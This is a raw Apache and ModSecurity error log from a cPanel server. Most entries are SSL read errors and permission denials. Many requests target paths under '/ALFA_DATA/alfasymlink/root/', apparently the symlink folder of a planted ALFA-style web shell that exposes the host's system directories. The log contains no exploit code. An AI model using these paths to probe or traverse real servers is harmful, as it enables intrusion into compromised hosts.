[Sun Oct 25 14:43:33.424686 2026] [security2:error] [pid 2880769:tid 2880769] [client 185.191.171.3:13770] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/mw14/php82/import.php"] [unique_id "at5N1XNQSJj6g_R4pvfwqAAAABI"]
[Sun Oct 25 14:43:33.424720 2026] [security2:error] [pid 2880769:tid 2880769] [client 185.191.171.3:13770] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/mw14/php82/import.php"] [unique_id "at5N1XNQSJj6g_R4pvfwqAAAABI"]
[Sun Oct 25 14:43:50.768110 2026] [core:error] [pid 2882209:tid 2882209] (13)Permission denied: [client 3.212.205.90:9909] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/drivers/piix4_smbus/0000:00:01.3/driver/remove_id
[Sun Oct 25 14:43:58.622675 2026] [ssl:error] [pid 2880771:tid 2880771] (70014)End of file found: [client 23.23.137.202:12670] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:44:10.684036 2026] [ssl:error] [pid 2882192:tid 2882192] (5)Input/output error: [client 98.83.178.66:46796] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:44:19.222994 2026] [security2:error] [pid 2880771:tid 2880771] [client 52.204.253.129:44517] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/subsystem/event0/device/subsystem/input0/power/"] [unique_id "at5OAzh4F5IzB4_aosIHmQAAABQ"]
[Sun Oct 25 14:44:19.223042 2026] [security2:error] [pid 2880771:tid 2880771] [client 52.204.253.129:44517] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/subsystem/event0/device/subsystem/input0/power/"] [unique_id "at5OAzh4F5IzB4_aosIHmQAAABQ"]
[Sun Oct 25 14:44:35.510769 2026] [ssl:error] [pid 2882204:tid 2882204] (70014)End of file found: [client 85.208.96.200:12084] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:44:38.765285 2026] [ssl:error] [pid 2882209:tid 2882209] (70014)End of file found: [client 34.205.170.13:42927] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:44:42.846729 2026] [ssl:error] [pid 2880789:tid 2880789] (70014)End of file found: [client 3.212.205.90:36365] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:44:55.086831 2026] [ssl:error] [pid 2880769:tid 2880769] (70014)End of file found: [client 85.208.96.197:41894] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:44:58.750031 2026] [ssl:error] [pid 2880754:tid 2880754] (70014)End of file found: [client 44.215.210.112:14967] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:45:10.642939 2026] [ssl:error] [pid 2880789:tid 2880789] (70014)End of file found: [client 18.232.11.247:47062] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:45:14.650087 2026] [ssl:error] [pid 2880771:tid 2880771] (70014)End of file found: [client 54.83.240.58:7115] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:45:18.840551 2026] [ssl:error] [pid 2880779:tid 2880779] (70014)End of file found: [client 3.220.70.171:18755] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:45:22.686043 2026] [ssl:error] [pid 2880769:tid 2880769] (70014)End of file found: [client 54.87.62.248:54409] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:45:26.795319 2026] [ssl:error] [pid 2880754:tid 2880754] (70014)End of file found: [client 52.205.141.124:9084] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:45:30.743396 2026] [ssl:error] [pid 2882192:tid 2882192] (70014)End of file found: [client 54.156.55.147:36717] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:45:43.035751 2026] [ssl:error] [pid 2880779:tid 2880779] (70014)End of file found: [client 34.227.234.246:8636] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:45:46.822381 2026] [core:error] [pid 2880769:tid 2880769] (13)Permission denied: [client 34.227.156.153:6592] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:01/PNP0303:00/physical_node1/drvctl
[Sun Oct 25 14:46:06.857229 2026] [ssl:error] [pid 2880771:tid 2880771] (70014)End of file found: [client 54.198.33.233:63286] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:46:18.830006 2026] [ssl:error] [pid 2882192:tid 2882192] (70014)End of file found: [client 52.200.142.199:7775] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:46:26.856560 2026] [ssl:error] [pid 2882203:tid 2882203] (70014)End of file found: [client 23.23.103.31:64106] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:46:38.744238 2026] [core:error] [pid 2882213:tid 2882213] (13)Permission denied: [client 85.208.96.210:12570] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/alloc_calls
[Sun Oct 25 14:46:42.939756 2026] [ssl:error] [pid 2880779:tid 2880779] (70014)End of file found: [client 54.204.62.163:34151] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:46:47.050768 2026] [ssl:error] [pid 2880769:tid 2880769] (70014)End of file found: [client 35.169.102.85:24617] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:46:55.423849 2026] [ssl:error] [pid 2882204:tid 2882204] (70014)End of file found: [client 44.207.207.36:56253] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:47:06.883903 2026] [ssl:error] [pid 2880771:tid 2880771] (70014)End of file found: [client 34.194.14.255:19235] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:47:14.863211 2026] [ssl:error] [pid 2880779:tid 2880779] (70014)End of file found: [client 18.235.81.246:46971] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:47:18.801626 2026] [ssl:error] [pid 2880769:tid 2880769] (70014)End of file found: [client 23.21.175.228:46613] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:47:27.456011 2026] [ssl:error] [pid 2882192:tid 2882192] (70014)End of file found: [client 35.170.205.140:40756] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:47:43.081404 2026] [core:error] [pid 2880771:tid 2880771] (13)Permission denied: [client 18.205.127.11:37355] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/subsystem/devices/0000:00:01.2/rescan
[Sun Oct 25 14:47:46.980771 2026] [ssl:error] [pid 2880779:tid 2880779] (70014)End of file found: [client 52.4.229.9:8641] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:47:51.074074 2026] [ssl:error] [pid 2882192:tid 2882192] (70014)End of file found: [client 100.28.57.133:36319] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:48:02.946193 2026] [core:error] [pid 2880771:tid 2880771] (13)Permission denied: [client 54.235.125.129:11177] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:16/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/remove
[Sun Oct 25 14:48:27.268520 2026] [ssl:error] [pid 2882160:tid 2882160] (70014)End of file found: [client 98.82.39.241:21841] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:48:37.724706 2026] [core:error] [pid 2882191:tid 2882191] (13)Permission denied: [client 185.191.171.11:51288] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-4k/shrink
[Sun Oct 25 14:48:47.151058 2026] [ssl:error] [pid 2880779:tid 2880779] (70014)End of file found: [client 54.243.63.52:42585] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:49:07.417459 2026] [ssl:error] [pid 2882191:tid 2882191] (70014)End of file found: [client 54.204.12.115:16061] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:49:15.062613 2026] [ssl:error] [pid 2882149:tid 2882149] (70014)End of file found: [client 54.84.169.196:65426] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:49:19.281742 2026] [ssl:error] [pid 2882159:tid 2882159] (70014)End of file found: [client 18.207.89.138:51201] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:49:23.115231 2026] [ssl:error] [pid 2882160:tid 2882160] (70014)End of file found: [client 34.196.114.170:45099] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:49:31.037283 2026] [core:error] [pid 2882166:tid 2882166] (13)Permission denied: [client 3.221.50.71:43835] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/ttyS3/subsystem/ttyS1/flags
[Sun Oct 25 14:49:39.149429 2026] [ssl:error] [pid 2882191:tid 2882191] (70014)End of file found: [client 3.213.213.161:2295] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:49:40.731094 2026] [ssl:error] [pid 2882184:tid 2882184] (70014)End of file found: [client 185.191.171.19:49774] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:49:40.760389 2026] [ssl:error] [pid 2882149:tid 2882149] (70014)End of file found: [client 185.191.171.19:49782] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:49:42.353048 2026] [security2:error] [pid 2880779:tid 2880779] [client 179.56.182.145:41726] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/"] [unique_id "at5PRjnLqNfi2M7PPfhI2gAAABo"], referer: https://paceggweser.blogspot.com/
[Sun Oct 25 14:49:55.483931 2026] [core:error] [pid 2882161:tid 2882161] (13)Permission denied: [client 52.73.142.41:12301] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/ACPI0010:00/LNXCPU:01/subsystem/drivers/battery/bind
[Sun Oct 25 14:49:59.558167 2026] [core:error] [pid 2882168:tid 2882168] (13)Permission denied: [client 52.4.213.199:17238] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/drivers/exar_serial/new_id
[Sun Oct 25 14:50:07.593426 2026] [ssl:error] [pid 2882160:tid 2882160] (5)Input/output error: [client 54.221.203.24:41045] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:50:11.374024 2026] [ssl:error] [pid 2882162:tid 2882162] (70014)End of file found: [client 52.6.232.201:13631] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:50:15.403583 2026] [ssl:error] [pid 2882166:tid 2882166] (70014)End of file found: [client 54.145.82.217:35923] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:50:19.243638 2026] [ssl:error] [pid 2882161:tid 2882161] (70014)End of file found: [client 3.217.171.106:49292] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:50:27.256155 2026] [ssl:error] [pid 2882149:tid 2882149] (70014)End of file found: [client 98.82.107.102:54075] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:50:35.155644 2026] [ssl:error] [pid 2882159:tid 2882159] (70014)End of file found: [client 54.243.63.52:33585] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:50:44.965431 2026] [ssl:error] [pid 2882162:tid 2882162] (70014)End of file found: [client 54.86.59.155:40929] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:50:55.475010 2026] [ssl:error] [pid 2882168:tid 2882168] (70014)End of file found: [client 34.231.156.59:33783] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:51:00.668831 2026] [security2:error] [pid 2882149:tid 2882149] [client 34.231.77.232:46093] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/driver/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:01.3/firmware_node/wakeup/wakeup2/device/power/"] [unique_id "at5PlFDc8NG2wzoJfYE2mwAAAAQ"]
[Sun Oct 25 14:51:00.668875 2026] [security2:error] [pid 2882149:tid 2882149] [client 34.231.77.232:46093] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/driver/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:01.3/firmware_node/wakeup/wakeup2/device/power/"] [unique_id "at5PlFDc8NG2wzoJfYE2mwAAAAQ"]
[Sun Oct 25 14:51:01.454590 2026] [security2:error] [pid 2880779:tid 2880779] [client 185.191.171.4:41266] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/licenses/perl-Module-Build/LICENSE"] [unique_id "at5PlTnLqNfi2M7PPfhI3QAAABo"]
[Sun Oct 25 14:51:01.454660 2026] [security2:error] [pid 2880779:tid 2880779] [client 185.191.171.4:41266] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/licenses/perl-Module-Build/LICENSE"] [unique_id "at5PlTnLqNfi2M7PPfhI3QAAABo"]
[Sun Oct 25 14:51:03.285942 2026] [ssl:error] [pid 2882159:tid 2882159] (70014)End of file found: [client 52.5.242.243:36594] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:51:11.394916 2026] [ssl:error] [pid 2882162:tid 2882162] (70014)End of file found: [client 34.203.111.15:27470] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:51:23.368447 2026] [core:error] [pid 2882191:tid 2882191] (13)Permission denied: [client 54.235.172.96:61956] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/ttyS3/subsystem/ttyS1/uartclk
[Sun Oct 25 14:51:27.534548 2026] [ssl:error] [pid 2882168:tid 2882168] (5)Input/output error: [client 35.174.141.243:26381] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:51:31.474270 2026] [ssl:error] [pid 2882184:tid 2882184] (70014)End of file found: [client 44.205.192.249:28168] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:51:39.465409 2026] [core:error] [pid 2880779:tid 2880779] (13)Permission denied: [client 100.29.160.53:35211] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/remove
[Sun Oct 25 14:51:51.423009 2026] [ssl:error] [pid 2882166:tid 2882166] (70014)End of file found: [client 23.21.179.120:45936] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:51:55.370204 2026] [ssl:error] [pid 2882161:tid 2882161] (70014)End of file found: [client 35.171.141.42:1202] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:52:01.554880 2026] [ssl:error] [pid 2882168:tid 2882168] (70014)End of file found: [client 185.191.171.16:54416] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:52:04.845047 2026] [core:error] [pid 2882149:tid 2882149] (13)Permission denied: [client 85.208.96.193:34374] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCP/aliases
[Sun Oct 25 14:52:20.273639 2026] [ssl:error] [pid 2882166:tid 2882166] (70014)End of file found: [client 52.73.6.26:56148] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:52:27.460303 2026] [ssl:error] [pid 2882191:tid 2882191] (70014)End of file found: [client 52.2.83.227:43226] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:52:35.400685 2026] [ssl:error] [pid 2880779:tid 2880779] (70014)End of file found: [client 44.212.131.50:62203] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:52:39.290015 2026] [core:error] [pid 2882159:tid 2882159] (13)Permission denied: [client 54.91.122.193:42004] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:02/subsystem/drivers/system/uevent
[Sun Oct 25 14:52:43.558019 2026] [ssl:error] [pid 2882162:tid 2882162] (70014)End of file found: [client 98.84.131.195:29444] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:52:47.501725 2026] [core:error] [pid 2882166:tid 2882166] (13)Permission denied: [client 23.21.228.180:43129] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/node0/cpu1/firmware_node/physical_node/driver/bind
[Sun Oct 25 14:52:59.282009 2026] [ssl:error] [pid 2882184:tid 2882184] (70014)End of file found: [client 44.214.19.8:7875] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:53:07.388021 2026] [ssl:error] [pid 2882159:tid 2882159] (70014)End of file found: [client 44.223.232.55:34509] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:53:15.185283 2026] [ssl:error] [pid 2882161:tid 2882161] (70014)End of file found: [client 52.44.229.124:55690] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:53:19.211746 2026] [core:error] [pid 2882168:tid 2882168] (13)Permission denied: [client 54.84.250.51:5362] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/event4/subsystem/event0/subsystem/input5/device/driver/unbind
[Sun Oct 25 14:53:19.212314 2026] [security2:error] [pid 2882168:tid 2882168] [client 54.84.250.51:5362] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/event4/subsystem/event0/subsystem/input5/device/driver/unbind"] [unique_id "at5QHyilj0Nbd9q5zbpZpAAAAB0"]
[Sun Oct 25 14:53:19.212347 2026] [security2:error] [pid 2882168:tid 2882168] [client 54.84.250.51:5362] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/event4/subsystem/event0/subsystem/input5/device/driver/unbind"] [unique_id "at5QHyilj0Nbd9q5zbpZpAAAAB0"]
[Sun Oct 25 14:53:23.756278 2026] [ssl:error] [pid 2882160:tid 2882160] (70014)End of file found: [client 52.202.52.82:39974] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:53:27.130002 2026] [core:error] [pid 2882149:tid 2882149] (13)Permission denied: [client 44.197.76.210:7123] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/device/subsystem/input0/device/driver/uevent
[Sun Oct 25 14:53:31.236427 2026] [ssl:error] [pid 2882161:tid 2882161] (70014)End of file found: [client 44.207.252.58:49419] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:53:40.747062 2026] [core:error] [pid 2880779:tid 2880779] (13)Permission denied: [client 185.191.171.11:56470] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-512/reclaim_account
[Sun Oct 25 14:53:50.925098 2026] [ssl:error] [pid 2882149:tid 2882149] (70014)End of file found: [client 52.3.127.170:54992] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:53:59.006689 2026] [ssl:error] [pid 2882161:tid 2882161] (70014)End of file found: [client 52.203.152.231:46147] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:54:03.121372 2026] [ssl:error] [pid 2882168:tid 2882168] (70014)End of file found: [client 54.87.95.7:12058] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:54:19.836296 2026] [core:error] [pid 2882161:tid 2882161] (13)Permission denied: [client 185.191.171.15:32254] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/objects
[Sun Oct 25 14:54:21.475784 2026] [core:error] [pid 2882168:tid 2882168] (13)Permission denied: [client 85.208.96.208:20098] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/slabs_cpu_partial
[Sun Oct 25 14:54:30.902439 2026] [ssl:error] [pid 2882159:tid 2882159] (70014)End of file found: [client 184.73.195.18:8602] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:54:34.564197 2026] [ssl:error] [pid 2882160:tid 2882160] (70014)End of file found: [client 3.217.82.254:53325] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:54:46.524703 2026] [ssl:error] [pid 2882166:tid 2882166] (70014)End of file found: [client 44.196.118.6:29160] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:55:18.205017 2026] [core:error] [pid 2880779:tid 2880779] (13)Permission denied: [client 50.16.248.61:53673] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/driver/uevent
[Sun Oct 25 14:55:38.200854 2026] [ssl:error] [pid 2882166:tid 2882166] (70014)End of file found: [client 52.2.4.213:18166] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:55:46.282206 2026] [ssl:error] [pid 2882184:tid 2882184] (70014)End of file found: [client 98.82.59.253:55681] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:55:58.356101 2026] [ssl:error] [pid 2882162:tid 2882162] (5)Input/output error: [client 3.220.70.171:58110] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:56:02.191412 2026] [ssl:error] [pid 2882166:tid 2882166] (70014)End of file found: [client 54.162.69.192:16235] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:56:06.429321 2026] [ssl:error] [pid 2882168:tid 2882168] (70014)End of file found: [client 23.21.250.48:3542] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:56:10.190762 2026] [core:error] [pid 2882184:tid 2882184] (13)Permission denied: [client 18.235.158.19:20000] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/device:18/eject
[Sun Oct 25 14:56:26.167705 2026] [ssl:error] [pid 2882161:tid 2882161] (70014)End of file found: [client 3.227.180.70:50750] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:56:38.250879 2026] [ssl:error] [pid 2882160:tid 2882160] (70014)End of file found: [client 3.225.45.252:19448] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:56:42.158576 2026] [ssl:error] [pid 2882159:tid 2882159] (70014)End of file found: [client 107.20.255.194:40867] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:56:54.333784 2026] [ssl:error] [pid 2882191:tid 2882191] (5)Input/output error: [client 54.197.82.195:43085] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:56:58.221747 2026] [core:error] [pid 2882160:tid 2882160] (13)Permission denied: [client 54.85.109.140:53420] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/driver/cpu0/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0303:00/physical_node/firmware_node/physical_node1/drvctl
[Sun Oct 25 14:57:10.180447 2026] [ssl:error] [pid 2882149:tid 2882149] (70014)End of file found: [client 52.4.213.199:14304] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:57:10.180661 2026] [security2:error] [pid 2882149:tid 2882149] [client 52.4.213.199:14304] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:03.0/subsystem/devices/0000:00:00.0/msi_bus"] [unique_id "at5RBlDc8NG2wzoJfYE2pQAAAAQ"]
[Sun Oct 25 14:57:10.180691 2026] [security2:error] [pid 2882149:tid 2882149] [client 52.4.213.199:14304] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:03.0/subsystem/devices/0000:00:00.0/msi_bus"] [unique_id "at5RBlDc8NG2wzoJfYE2pQAAAAQ"]
[Sun Oct 25 14:57:14.190273 2026] [ssl:error] [pid 2882168:tid 2882168] (70014)End of file found: [client 107.20.255.194:24511] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:57:16.031334 2026] [core:error] [pid 2880779:tid 2880779] (13)Permission denied: [client 85.208.96.212:15290] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/cred_jar/partial
[Sun Oct 25 14:57:22.341989 2026] [ssl:error] [pid 2882191:tid 2882191] (70014)End of file found: [client 107.20.224.184:31030] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:57:24.232212 2026] [core:error] [pid 2882160:tid 2882160] (13)Permission denied: [client 85.208.96.196:32536] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-512/cache_dma
[Sun Oct 25 14:57:30.166089 2026] [ssl:error] [pid 2882149:tid 2882149] (70014)End of file found: [client 23.22.59.87:27762] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:57:38.174501 2026] [core:error] [pid 2882184:tid 2882184] (13)Permission denied: [client 98.83.178.66:59397] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/vmd/new_id
[Sun Oct 25 14:57:50.330186 2026] [ssl:error] [pid 2882149:tid 2882149] (70014)End of file found: [client 50.19.102.70:26931] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:57:54.294826 2026] [ssl:error] [pid 2882168:tid 2882168] (70014)End of file found: [client 34.192.67.98:9518] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:58:06.189099 2026] [core:error] [pid 2882160:tid 2882160] (13)Permission denied: [client 3.211.105.134:61607] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/cpu1/driver/unbind
[Sun Oct 25 14:58:14.209103 2026] [ssl:error] [pid 2882166:tid 2882166] (70014)End of file found: [client 54.209.100.30:59737] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:58:18.304849 2026] [ssl:error] [pid 2882162:tid 2882162] (70014)End of file found: [client 3.213.46.222:6545] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:58:22.265285 2026] [ssl:error] [pid 2882160:tid 2882160] (70014)End of file found: [client 3.216.13.10:48237] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:58:26.186419 2026] [ssl:error] [pid 2882161:tid 2882161] (70014)End of file found: [client 52.202.233.37:38033] AH02013: coalesce failed to read from data bucket
